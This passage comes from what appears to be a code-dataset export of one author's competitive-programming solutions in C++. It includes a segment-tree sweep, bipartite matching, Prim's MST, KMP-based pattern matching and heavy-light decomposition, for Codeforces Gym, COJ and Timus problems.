\"hash( \" << vals[i] << \") = \" << Hash[ vals[i] ] << '\\n'; \n\t}\t\n\tfor( int i = 0; i < (int)e.size(); i++ ){\n\t\te[i].x = Hash[ e[i].x ];\n\t\te[i].lo = Hash[ e[i].lo ];\n\t\te[i].hi = Hash[ e[i].hi ];\n\t}\n}\n\nll stree[4*maxn],\n lazy[4*maxn];\n\nvoid build( int nod, int l, int r ){\n\tif( l == r ){\n\t\tstree[nod] = 0;\n\t\treturn ;\n\t}\n\tint mid = (l+r)>>1;\n\n\tbuild( 2*nod, l, mid );\n\tbuild( 2*nod+1, mid+1, r );\n\tstree[nod] = max( stree[2*nod], stree[2*nod+1] );\n}\n\nvoid propagate( int nod, int l, int r ){\n\tif( !lazy[nod] ) \n\t\treturn;\n\t\n\tstree[nod] += lazy[nod];\n\n\tif( l == r ){\n\t\tlazy[nod] = 0;\n\t\treturn;\n\t}\n\t\n\tlazy[2*nod] += lazy[nod];\n\tlazy[2*nod+1] += lazy[nod];\n\tlazy[nod] = 0;\n\treturn;\n}\n\n\nvoid update( int nod, int l, int r, int ul, int ur, int val ){\n\tpropagate( nod, l, r );\n\tif( r < ul || l > ur )\n\t\treturn;\n\n\tif( ul <= l && r <= ur ){\n\t\tlazy[nod] += val;\n\t\tpropagate( nod, l, r );\n\t\treturn;\n\t}\n\n\tint mid = (l+r)>>1;\n\n\tupdate( 2*nod, l, mid, ul, ur, val );\n\tupdate( 2*nod+1, mid+1, r, ul, ur, val );\n\n\tstree[nod] = max( stree[2*nod], stree[2*nod+1] );\n}\n\nint query( int nod, int l, int r, int ql, int qr ){\n\tpropagate( nod, l, r );\n\tif( r < ql || l > qr )\n\t\treturn 0;\n\t\n\tif( ql <= l && r <= qr ){\n\t\treturn stree[nod];\n\t}\n\t\n\tint mid = (l+r)>>1;\n\t\n\tint lo = query( 2*nod, l, mid, ql, qr ),\n\t\thi = query( 2*nod+1, mid+1, r, ql, qr );\n\t\n\treturn max( lo, hi );\n}\n\nint get_pos( int nod, int l, int r, int lim ){\n\tpropagate( nod, l, r );\n\t\n\tif( l == r ){\n\t\treturn l;\n\t}\n\tint mid = (l+r)>>1;\n\tpropagate( 2*nod, l, mid );\n\tpropagate( 2*nod+1, mid+1, r );\n\tint ans = 1;\t\n\tif( stree[2*nod] == lim ){\n\t\t ans = get_pos( 2*nod, l, mid, lim );\n\t}\n\telse{\n\t\treturn get_pos( 2*nod+1, mid+1, r, lim );\n\t}\n\tif( ans == 1 ){\n\t\treturn get_pos( 2*nod+1, mid+1, r, lim );\n\t}\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n//\tfreopen( \"input002.txt\", \"r\", stdin );\n\n\tcin >> n;\n\tll lx = 0, ly = 0;\n\tfor( int i = 0,contad= 0; i < n; i++){\n\t\t//cerr << i << '\\n';\n\t\tll a;\n\t\tstring c;\n\t\tcin >> a >> c;\n\t\tadd_events_line( lx,ly, dir, a );//--> get new coord and make events\n\t\tadd_events_rect( lx,ly, dir, c[0] ); //-> add corner events and change direction\n\t\tfor( int j = 3; j >= 0; j-- ){\n\t\t\te[ e.size()-1-j ].id = ++contad;\n\t\t}\n\t}\n/*\n\tfor( int i = 0; i < e.size(); i++ )\n//\t\tcerr << \"x: \" << e[i].x << \"-->( \" << e[i].lo << \"; \" << e[i].hi << \") :--> \" << e[i].val << '\\n';\n\tcerr << e[i].id << '\\n';\n\tcerr<< \"------------------------------\\n\";\n*/\n\t\n\n\tfor( int i = 0; i < e.size(); i++ ){\n\t\tif( e[i].lo > e[i].hi ){\n\t\t\tswap( e[i].lo, e[i].hi );\n\t\t}\n\t\t//e[i].hi--;\n\t}\n\t//cerr << endl;\n\n\tsort( e.begin(), e.end() );\n\n/*\tfor( int i = 0; i < (int)e.size(); i++ ){\n\t\tcerr << \"x: \" << e[i].x << \"-->( \" << e[i].lo << \"; \" << e[i].hi << \") :--> \" << e[i].val << \" --> \" << e[i].id << '\\n';\n\t}\n*/\t\n\tcommpress_coord();\n\n\n/*\tfor( int i = 0; i < e.size(); i++ )\n\t\tcerr << \"x: \" << e[i].x << \"-->( \" << e[i].lo << \"; \" << e[i].hi << \") :--> \" << e[i].val << '\\n';\n*/\n\tbuild( 1, 1, CNT );\n\tint ans = 0;\n\tint x=0,y=0;\n\tfor( int i = 0; i < (int)e.size(); i++ ){\n\t\tevent cur = e[i];\n\n\t\tint tmp_ans = query( 1, 1, CNT, 1, CNT );\n\t\tif( ans < tmp_ans ){\n\n\t\t\tans = tmp_ans;\n\t\t\tx = cur.x;\n\t\t\ty = get_pos( 1, 1, CNT, ans ); //tmp_ans.second;\n//\t\t\tcerr << \"best: \" << ans << \"coor: (\" << x << \"; \" << y << \") \" << endl;\n\t\t}\n\t\tupdate( 1, 1, CNT, cur.lo, cur.hi-1, cur.val );\n\t\n//\t\tcerr << \"x: \" << e[i].x << \"-->( \" << e[i].lo << \"; \" << e[i].hi << \") :--> \" << e[i].val << '\\n';\n\t\twhile( i+1 < (int)e.size() && e[i+1].x == e[i].x ){\n\t\t\ti++;\n\n//\t\t\tcerr << \"x: \" << e[i].x << \"-->( \" << e[i].lo << \"; \" << e[i].hi << \") :--> \" << e[i].val << '\\n';\n\t\t\tcur = e[i];\n\t\t\tupdate( 1, 1, CNT, cur.lo, cur.hi-1, cur.val );\n\t\t}\n\n\n\t}\n//\tcerr << ans << '\\n';\n//\tcerr << x << \" \" << y << endl;\n\tcout << Un_hash[x]-1 << \" \" << Un_hash[y] << '\\n';\t\n}\n" }, { "alpha_fraction": 0.3275362253189087, "alphanum_fraction": 0.3526569902896881, "avg_line_length": 17.81818199157715, "blob_id": "fc88fa28343a8fb66081d180e8a7f6ffb36d1fd2", "content_id": "41191edc8196d4b68a63939a7227fcd39228173f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1035, "license_type": "no_license", "max_line_length": 58, "num_lines": 55, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 2005;\n\nint g[MAXN][MAXN];\nbool mk[MAXN];\n\nint main() {\n\t//ios::sync_with_stdio(false);\n\t//cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n //int tc; cin >> tc;\n int tc;\n scanf(\"%d\",&tc);\n\n while( tc-- ){\n int n; scanf(\"%d\",&n); //cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n mk[i] = false;\n\n for( int j = 1; j <= n; j++ ){\n scanf(\"%d\",&g[i][j]);//cin >> g[i][j];\n }\n }\n\n mk[1] = true;\n\n for( int i = 2; i <= n; i++ ){\n int v = g[1][i];\n int nod = 1;\n\n for( int j = 2; j <= n; j++ ){\n if( mk[ g[v][j] ] ){\n nod = g[v][j];\n break;\n }\n }\n\n mk[v] = true;\n\n //cout << nod << ' ' << v << '\\n';\n printf(\"%d %d\\n\",nod, v);\n }\n\n printf(\"\\n\");\n }\n}\n" }, { "alpha_fraction": 0.37318840622901917, "alphanum_fraction": 0.4175724685192108, "avg_line_length": 14.235294342041016, "blob_id": "50b11a5c339e11d1153f83c4f76669fa8782bec1", "content_id": "b205aaee7bf7e9873955faef84fc5cc69e885cb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1104, "license_type": "no_license", "max_line_length": 61, "num_lines": 68, "path": "/COJ/eliogovea-cojAC/eliogovea-p1446-Accepted-s572141.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 1000;\r\n\r\nll a,b;\r\nll dp[MAXN+10];\r\nbool mark[MAXN + 10][2];\r\nvector<ll> v[2];\r\n\r\nll s( ll x )\r\n{\r\n\tif( x == 0ll ) return 0ll;\r\n\r\n\tif( x <= MAXN )\r\n\t{\r\n\t\tif( dp[x] ) return dp[x];\r\n\t\tint r = x % 10;\r\n\t\treturn dp[x] = s( x / 10 ) + r * r;\r\n\t}\r\n\tint r = x % 10;\r\n\treturn s( x / 10 ) + r * r;\r\n}\r\n\r\nvoid f( int x, int t )\r\n{\r\n\tif( x > MAXN )\r\n\t{\r\n\t\tv[t].push_back( x );\r\n\t\tx = s( x );\r\n\t}\r\n\twhile( !mark[x][t] )\r\n\t{\r\n\t\tmark[x][t] = 1;\r\n\t\tv[t].push_back( x );\r\n\t\tx = s( x );\r\n\t}\r\n\r\n}\r\n\r\nint main()\r\n{\r\n\twhile( scanf( \"%lld%lld\", &a, &b ) )\r\n\t{\r\n\t\tif( a == 0 && b == 0 ) break;\r\n\r\n\t\tv[0].clear();\r\n\t\tv[1].clear();\r\n\t\tfor( int i = 0; i <= MAXN; i++ )\r\n\t\t\tmark[i][0] = mark[i][1] = 0;\r\n\r\n\t\tf( a, 0 );\r\n\t\tf( b, 1 );\r\n\r\n\t\tll sol = 10000ll;\r\n\r\n\t\tfor( int i = 0; i < v[0].size(); i++ )\r\n\t\t\tfor( int j = 0; j < v[1].size(); j++ )\r\n\t\t\t\tif( v[0][i] == v[1][j] ) sol = min( sol, ll(i + j + 2) );\r\n printf( \"%lld %lld \", a, b );\r\n\t\tif( sol == 10000 ) printf( \"0\\n\" );\r\n\t\telse printf( \"%lld\\n\", sol );\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3581960201263428, "alphanum_fraction": 0.38855159282684326, "avg_line_length": 18.879310607910156, "blob_id": "735ea7f59212ae4719618660b716f4fc2eb482d0", "content_id": "5de34e240c5f94087332eb09bb1c991d02db3f05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1153, "license_type": "no_license", "max_line_length": 70, "num_lines": 58, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/G4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\nusing namespace std;\n\n\nconst long long M = 1000 * 1000 * 1000 + 7;\n\ninline void add(long long &a, long long b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline long long mul(long long a, long long b) {\n return (long long)a * b % M;\n}\n\n\nlong long f(long long n, long long s) {\n if (n <= 0) {\n return 0;\n }\n\n long long ans = 0;\n\n for (long long b = 0; b < s; b++) {\n long long cnt = ((n + 1LL) / (1LL << (b + 1LL))) * (1LL << b);\n if (((n + 1LL) % (1LL << (b + 1LL))) >= (1LL << b)) {\n cnt += ((n + 1LL) % (1LL << (b + 1LL))) - (1LL << b);\n }\n\n //cerr << n << \" \" << s << \" \" << b << \" \" << cnt << \"\\n\";\n\n add(ans, mul((1LL << (s - 1 - b)) % M, cnt));\n }\n\n return ans;\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin );\n\n long long s, t;\n cin >> s >> t;\n while (t--) {\n long long l, r;\n cin >> l >> r;\n\n // cerr << f(l - 1, s) << \" \" << f(r, s) << \"\\n\";\n\n long long ans = f(r, s);\n add(ans, M - f(l - 1, s));\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.38793104887008667, "alphanum_fraction": 0.43103447556495667, "avg_line_length": 13.466666221618652, "blob_id": "22853a997b06868a4f2912f7a8806aa0b6b02f0d", "content_id": "b2aaf83264b8cbed918018a176a8298a85368413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 232, "license_type": "no_license", "max_line_length": 67, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1405-Accepted-s494027.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint t;\r\nlong long n;\r\n\r\nint main()\r\n{\r\n cin >> t;\r\n while(t--)\r\n {\r\n cin >> n;\r\n cout << (n*n*n*n - 6*n*n*n+ 23*n*n - 18*n + 24)/24 << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.32766515016555786, "alphanum_fraction": 0.34924787282943726, "avg_line_length": 15.6195650100708, "blob_id": "2dfe4d40e9677bdef13bc0c8dc11b0370c8f5ea1", "content_id": "95ca40312768fb271ec754135df93bb90c5f3eba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1529, "license_type": "no_license", "max_line_length": 48, "num_lines": 92, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 2000;\n\nint col[MAXN];\nvector<int> g[MAXN];\n\nvoid dfs( int u ){\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n\n if( col[v] != -1 ){\n continue;\n }\n\n col[v] = (col[u] + 1) % 2;\n\n dfs(v);\n }\n}\n\nbool mk[MAXN];\nint from[MAXN];\n\nbool kuhn( int u ){\n if( mk[u] ){\n return false;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !from[v] || kuhn( from[v] ) ){\n from[v] = u;\n return true;\n }\n }\n\n return false;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(11);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint tc; cin >> tc;\n\n\twhile( tc-- ){\n int n, m; cin >> n >> m;\n for( int i = 1; i <= n; i++ ){\n col[i] = -1;\n g[i].clear();\n from[i] = 0;\n }\n\n for( int i = 0; i < m; i++ ){\n int u, v; cin >> u >> v;\n\n g[u].push_back(v);\n g[v].push_back(u);\n }\n\n col[1] = 1;\n dfs(1);\n\n int mxf = 0;\n int one = 0;\n for( int u = 1; u <= n; u++ ){\n if( col[u] ){\n one++;\n fill( mk , mk + 1 + n , false );\n if( kuhn( u ) ){\n mxf++;\n }\n }\n }\n\n n = n - one;\n m = one;\n\n cout << (n+m) - mxf << '\\n';\n\t}\n}\n" }, { "alpha_fraction": 0.26243093609809875, "alphanum_fraction": 0.30110496282577515, "avg_line_length": 13.083333015441895, "blob_id": "71d2aeea9e65af932a64e7d455e866f8b576426f", "content_id": "33621d5e99ef50c9789bbe77149eb0d890effcba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 362, "license_type": "no_license", "max_line_length": 35, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2205-Accepted-s482886.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint a[1001],c,d,b;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<1001; i++)\r\n {\r\n int j=i;\r\n a[i]=a[i-1];\r\n while(j)\r\n {\r\n a[i]+=j&1;\r\n j>>=1;\r\n }\r\n }\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d%d\",&d,&b);\r\n printf(\"%d\\n\",a[b]-a[d-1]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4676258862018585, "alphanum_fraction": 0.5347721576690674, "avg_line_length": 18, "blob_id": "9a68635e60d19e8f3947aa8818cf32815dda1623", "content_id": "e37a13d932990b7a2ae2c4fddacf61fe794c17c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 417, "license_type": "no_license", "max_line_length": 60, "num_lines": 21, "path": "/Timus/1192-6209586.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1192\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double pi = 3.1415926535;\r\n\r\ndouble v, a, k;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> v >> a >> k;\r\n\ta = a * pi / 180.0;\r\n\tcout.precision(2);\r\n\tdouble ans = v * v * sin(2.0 * a) * (k / (k - 1.0)) / 10.0;\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5167286396026611, "alphanum_fraction": 0.5278810262680054, "avg_line_length": 14.9375, "blob_id": "37171e0241082ce66f225833d4c785d99c2eb6d0", "content_id": "3882b296d7b3eacc861ff2753f2d1fdfc3d198c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 269, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p3674-Accepted-s961333.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tlong long n;\r\n\tcin >> n;\r\n\tif (n % 3LL == 0LL) {\r\n\t\tcout << \"Victor wins\\n\";\r\n\t} else {\r\n\t\tcout << \"Kedir wins\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.3585858643054962, "alphanum_fraction": 0.36616161465644836, "avg_line_length": 16.85714340209961, "blob_id": "1218e14897bc113e3f3732d5fab954b50451be2b", "content_id": "512bbc21c041ff82a3c034e8b40a33daea876c37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 792, "license_type": "no_license", "max_line_length": 62, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p2002-Accepted-s574333.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n#include <set>\r\nusing namespace std;\r\n\r\nint n,x,sol;\r\nset<int> s;\r\n\r\nint main()\r\n{\r\n\tscanf( \"%d\", &n );\r\n\tvector<int> v(n);\r\n\tfor( int i = 0; i < n; i++ )\r\n\t{\r\n\t\tscanf( \"%d\", &v[i] );\r\n\t\ts.insert( v[i] );\r\n\t}\r\n\r\n\ts.insert( -1 );\r\n\r\n\tfor( set<int>::iterator it = s.begin(); it != s.end(); it++ )\r\n\t{\r\n\t\tint i = 0, j = 0, cant = 0;\r\n\t\twhile( true )\r\n\t\t{\r\n if( j == n ) break;\r\n if( v[i] == *it ) { i++; j++; }\r\n else if( v[j] == v[i] ) { j++; cant++; }\r\n else if( v[j] == *it ) j++;\r\n else\r\n {\r\n sol = max( sol, cant );\r\n cant = 0;\r\n i = j;\r\n }\r\n\t\t}\r\n\t\tsol = max( sol, cant );\r\n\t}\r\n\r\n\tprintf( \"%d\\n\", sol );\r\n}\r\n" }, { "alpha_fraction": 0.4158995747566223, "alphanum_fraction": 0.4435146450996399, "avg_line_length": 16.96825408935547, "blob_id": "cea14596c89b863ae3a9b1855456301533d588ef", "content_id": "462b96c5a490755cad9957deb2f544ae988dfa94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1195, "license_type": "no_license", "max_line_length": 66, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p1480-Accepted-s520925.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<cmath>\r\n#include<algorithm>\r\n#define MAXN 110\r\nusing namespace std;\r\n\r\nstruct next\r\n{\r\n int nodo;\r\n double costo;\r\n next(int a, double b)\r\n {\r\n nodo=a;\r\n costo=b;\r\n }\r\n bool operator<(const next &x)const\r\n {\r\n return costo>x.costo;\r\n }\r\n};\r\n\r\ndouble dist(double x1, double y1, double x2, double y2)\r\n{\r\n return sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));\r\n}\r\n\r\npriority_queue<next> Q;\r\n\r\nint n,act;\r\nbool mark[MAXN];\r\ndouble p[MAXN][2],G[MAXN][MAXN],sol,cost;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n for(int i=0; i<n; i++)\r\n {\r\n scanf(\"%lf%lf\",&p[i][0],&p[i][1]);\r\n for(int j=0; j<i; j++)\r\n G[i][j]=G[j][i]=dist(p[i][0],p[i][1],p[j][0],p[j][1]);\r\n }\r\n\r\n Q.push(next(0,0.0));\r\n while(!Q.empty())\r\n {\r\n act = Q.top().nodo;\r\n cost = Q.top().costo;\r\n Q.pop();\r\n\r\n if(!mark[act])\r\n {\r\n mark[act]=1;\r\n sol+=cost;\r\n for(int i=0; i<n; i++)\r\n if(!mark[i])\r\n Q.push(next(i,G[act][i]));\r\n }\r\n }\r\n printf(\"%.2lf\\n\",5.0*sol);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4467425048351288, "alphanum_fraction": 0.4632885158061981, "avg_line_length": 19.977272033691406, "blob_id": "b0b5a1ec1f3c26e385f5b3246761e5acdd86260d", "content_id": "c5bbe1b8a11283968c5e13000c98487e71b75b2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 967, "license_type": "no_license", "max_line_length": 61, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p2908-Accepted-s621242.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n//#include <fstream>\r\nusing namespace std;\r\n\r\nconst int MAXN = 505;\r\n\r\nint n, arr[MAXN * MAXN], pi, pj, abi[MAXN * MAXN], tot;\r\nstring str;\r\n\r\nvoid update(int pos, int val) {\r\n\tfor (; pos <= n * n; pos += pos & -pos)\r\n\t\tabi[pos] += val;\r\n}\r\n\r\nint query(int pos) {\r\n\tint r = 0;\r\n\tfor (; pos; pos -= pos & -pos) r += abi[pos];\r\n\treturn r;\r\n}\r\n\r\nint to_int(string &s) {\r\n\tif (s == \"#\") return n * n;\r\n\tint x = 0;\r\n\tfor (int i = 0; s[i]; i++)\r\n\t\tx = 10 * x + s[i] - '0';\r\n\treturn x;\r\n}\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n * n; i++) {\r\n\t\tcin >> str;\r\n\t\tarr[i] = to_int(str);\r\n\t\tif (arr[i] == n * n) pi = i;\r\n\t}\r\n\twhile (pi + n <= n * n) swap(arr[pi], arr[pi + n]), pi += n;\r\n\twhile (pi + 1 <= n * n) swap(arr[pi], arr[pi + 1]), pi++;\r\n\tfor (int i = 1; i <= n * n; i++) {\r\n\t\ttot += arr[i] - 1 - query(arr[i]);\r\n\t\tupdate(arr[i], 1);\r\n\t}\r\n\tcout << ((tot & 1) ? \"unsolvable\" : \"solvable\") << endl;\r\n}\r\n" }, { "alpha_fraction": 0.2881981134414673, "alphanum_fraction": 0.3087460398674011, "avg_line_length": 20.069766998291016, "blob_id": "d1f66561ba14f2ec7514abf2fd2ceb3880cac7d3", "content_id": "b8d886c268ba9c9a3084783cf57d1b38e62fa75d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1898, "license_type": "no_license", "max_line_length": 71, "num_lines": 86, "path": "/COJ/eliogovea-cojAC/eliogovea-p3189-Accepted-s779071.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst int N = 2005;\r\n\r\nconst ull C = 531;\r\nconst ull B = 33;\r\n\r\nint hp, wp, ht, wt;\r\nstring p[N];\r\nstring t[N];\r\n\r\null Hp[N];\r\null Ht[N][N];\r\null Pow[N];\r\null pi[N];\r\n\r\nint main() {\r\n //freopen(\"data.txt\", \"r\", stdin);\r\n ios::sync_with_stdio(false);\r\n //cin.tie(0);\r\n cin >> hp >> wp >> ht >> wt;\r\n for (int i = 0; i < hp; i++) {\r\n cin >> p[i];\r\n //ull cur = C;\r\n ull cur = 0;\r\n for (int j = 0; j < wp; j++) {\r\n cur = B * cur + (p[i][j] == 'o' ? 1 : 2);\r\n }\r\n Hp[i] = cur;\r\n }\r\n for (int i = 0; i < ht; i++) {\r\n cin >> t[i];\r\n //Ht[i][0] = C;\r\n for (int j = 1; j <= wt; j++) {\r\n Ht[i][j] = B * Ht[i][j - 1] + (t[i][j - 1] == 'o' ? 1 : 2);\r\n }\r\n }\r\n Pow[0] = 1;\r\n for (int i = 1; i < N; i++) {\r\n Pow[i] = B * Pow[i - 1];\r\n }\r\n for (int i = 1; i < hp; i++) {\r\n int j = pi[i - 1];\r\n while (j > 0 && Hp[i] != Hp[j]) {\r\n j = pi[j - 1];\r\n }\r\n if (Hp[i] == Hp[j]) {\r\n j++;\r\n }\r\n pi[i] = j;\r\n }\r\n\r\n /*for (int i = 0; i < hp; i++) {\r\n cout << i << \" \" << Hp[i] << \"\\n\";\r\n }\r\n cout << \"\\n\";*/\r\n\r\n //cout << Ht[1][4] << \"\\n\";\r\n\r\n int ans = 0;\r\n for (int i = 0; i + wp <= wt; i++) {\r\n int x = 0;\r\n for (int j = 0; j < ht; j++) {\r\n ull tmp = Ht[j][i + wp] - Ht[j][i] * Pow[wp];\r\n //cout << i << \" \" << i + wp << \" \" << tmp << \"\\n\";\r\n while (x > 0 && tmp != Hp[x]) {\r\n x = pi[x - 1];\r\n }\r\n if (Hp[x] == tmp) {\r\n x++;\r\n }\r\n if (x == hp) {\r\n ans++;\r\n }\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.35438597202301025, "alphanum_fraction": 0.3694235682487488, "avg_line_length": 24.078432083129883, "blob_id": "2cebaf1ac3610128d307fc53e7ad133f8bdea444", "content_id": "729f2acfb9e44aab895ad7acac20c5e2496e3743", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3990, "license_type": "no_license", "max_line_length": 100, "num_lines": 153, "path": "/COJ/eliogovea-cojAC/eliogovea-p3269-Accepted-s843982.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n;\r\n\r\nvector <int> g[N];\r\n\r\nint depth[N], size[N], head[N], chain[N], heavy[N], par[N];\r\n\r\nstruct ST {\r\n int n;\r\n vector <int> t;\r\n vector<int> lazy;\r\n ST() {}\r\n ST(int _n) {\r\n n = _n;\r\n t.clear(); lazy.clear();\r\n t.resize(4 * n); lazy.resize(4 * n);\r\n }\r\n void push(int x, int l, int r) {\r\n if (lazy[x]) {\r\n t[x] = r - l + 1 - t[x];\r\n if (l != r) {\r\n lazy[x + x] ^= 1;\r\n lazy[x + x + 1] ^= 1;\r\n }\r\n lazy[x] = 0;\r\n }\r\n }\r\n void update(int x, int l, int r, int ul, int ur) {\r\n push(x, l, r);\r\n if (l > ur || r < ul) {\r\n return;\r\n }\r\n if (l >= ul && r <= ur) {\r\n lazy[x] ^= 1;\r\n push(x, l, r);\r\n } else {\r\n int m = (l + r) >> 1;\r\n update(x + x, l, m, ul, ur);\r\n update(x + x + 1, m + 1, r, ul, ur);\r\n t[x] = t[x + x] + t[x + x + 1];\r\n }\r\n }\r\n void update(int l, int r) {\r\n return update(1, 1, n, l, r);\r\n }\r\n int query(int x, int l, int r, int ql, int qr) {\r\n push(x, l, r);\r\n if (l > qr || r < ql) return 0;\r\n if (l >= ql && r <= qr) return t[x];\r\n int m = (l + r) >> 1;\r\n int q1 = query(x + x, l, m, ql, qr);\r\n int q2 = query(x + x + 1, m + 1, r, ql, qr);\r\n return q1 + q2;\r\n }\r\n int query(int l, int r) {\r\n return query(1, 1, n, l, r);\r\n }\r\n};\r\n\r\nvector<ST> chains;\r\n\r\nvoid dfs(int u, int p, int d) {\r\n depth[u] = d;\r\n par[u] = p;\r\n size[u] = 1;\r\n heavy[u] = -1;\r\n for (int i = 0; i < g[u].size(); i++) {\r\n int v = g[u][i];\r\n if (v == p) continue;\r\n dfs(v, u, d + 1);\r\n size[u] += size[v];\r\n if (heavy[u] == -1 || size[v] > size[heavy[u]]) heavy[u] = v;\r\n }\r\n}\r\n\r\nvoid HLD() {\r\n dfs(1, 0, 0);\r\n for (int i = 1; i <= n; i++) {\r\n if (i == 1 || heavy[par[i]] != i) {\r\n int cnt = 0;\r\n for (int j = i; j != -1; j = heavy[j]) {\r\n cnt++;\r\n chain[j] = chains.size();\r\n head[j] = i;\r\n }\r\n chains.push_back(ST(cnt));\r\n }\r\n }\r\n}\r\n\r\nvoid update(int u, int v) {\r\n\r\n while (chain[u] != chain[v]) {\r\n if (depth[head[u]] > depth[head[v]]) {\r\n chains[ chain[u] ].update(1, depth[u] - depth[head[u]] + 1);\r\n u = par[head[u]];\r\n } else {\r\n chains[ chain[v] ].update(1, depth[v] - depth[head[v]] + 1);\r\n v = par[head[v]];\r\n }\r\n }\r\n if (depth[u] > depth[v]) swap(u, v);\r\n chains[ chain[u] ].update(depth[u] - depth[ head[u] ] + 1, depth[v] - depth[ head[v] ] + 1);\r\n}\r\n\r\nint query(int u, int v, int &lca) {\r\n int res = 0;\r\n while (chain[u] != chain[v]) {\r\n if (depth[head[u]] > depth[head[v]]) {\r\n res += chains[ chain[u] ].query(1, depth[u] - depth[head[u]] + 1);\r\n u = par[head[u]];\r\n } else {\r\n res += chains[ chain[v] ].query(1, 